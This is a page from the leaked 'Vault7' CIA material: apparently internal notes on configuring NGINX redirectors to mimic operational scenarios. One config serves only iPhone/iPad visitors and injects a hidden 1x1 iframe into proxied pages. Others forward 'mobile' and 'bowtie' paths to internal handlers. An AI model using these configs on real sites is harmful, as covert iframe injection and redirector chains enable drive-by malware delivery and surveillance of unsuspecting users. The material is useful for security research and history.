Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
NGINX proxy/redirector
For testing remote, it is helpful to have a redirector to mimic operational scenerios
In an ubuntu vm, install nginx (apt-get works on devlan)
####
# forwards incoming ssl on port 9001 to orangespots.zoo.lan:9001
####
server {
listen 9001 ssl;
ssl_certificate /home/giraffe/giraffelinux.crt;
ssl_certificate_key /home/giraffe/giraffelinux.key;
ssl_session_cache shared:SSL:1m;
ssl_session_timeout 5m;
ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;
location / {
proxy_pass https://orangespots.zoo.lan:9001/;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
#########
# forwards incoming 80 to orangespots.zoo.lan
# if the user agent contains iphone or ipad, injects a iframe
#########
server {
listen 80;
server_name giraffelinux;
#charset koi8-r;
#access_log logs/host.access.log main;
location /jstest.html {
proxy_pass http://orangespots.zoo.lan/test/jstest.html;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
location / {
if ($http_user_agent !~ (iPhone|iPad)) {
return 406;
}
proxy_pass http://orangespots.zoo.lan/;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
sub_filter <body> '<body><div style="visibility:hidden"><iframe src="https://localhost/?id=statstream" scrolling="no" frameborder=0 height=1 width=1 z-index=-99 ></iframe></div> ';
sub_filter_once on;
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
If testing with a real cert + cert chains, nginx requires that the certificate contain all the certs. ie, cat host.crt host.key intermeidate.crt > host_for_nginx.crt
If still getting cert errors on device/browser, double check the time.
Another redirector config example
server {
listen 443 ssl;
ssl_certificate /etc/nginx/ssl/www.YOUR_DOMAIN.crt;
ssl_certificate_key /etc/nginx/ssl/www.YOUR_DOMAIN.crt;
server_name www.YOUR_DOMAIN.com;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_redirect off;
proxy_buffering on;
proxy_buffer_size 8k;
proxy_read_timeout 500;
proxy_send_timeout 500;
# anything going to /mobile, drop the /mobile and forward to orangespots hamr listening on 42053
location /mobile/ {
proxy_pass https://orangespots.devlan.net:42053/;
}
location /yolo {
proxy_pass https://10.3.2.208/yolo;
}
# forward bowtie path
location /mobileads/bt.php {
proxy_pass http://orangespots.devlan.net/bt.php;
}
location /burpa/bt.php {
proxy_pass http://orangespots.devlan.net/bt.php;
#proxy_pass https://10.3.2.208/bt.php;
}
location / {
proxy_pass https://127.0.0.1:4443/;
}
}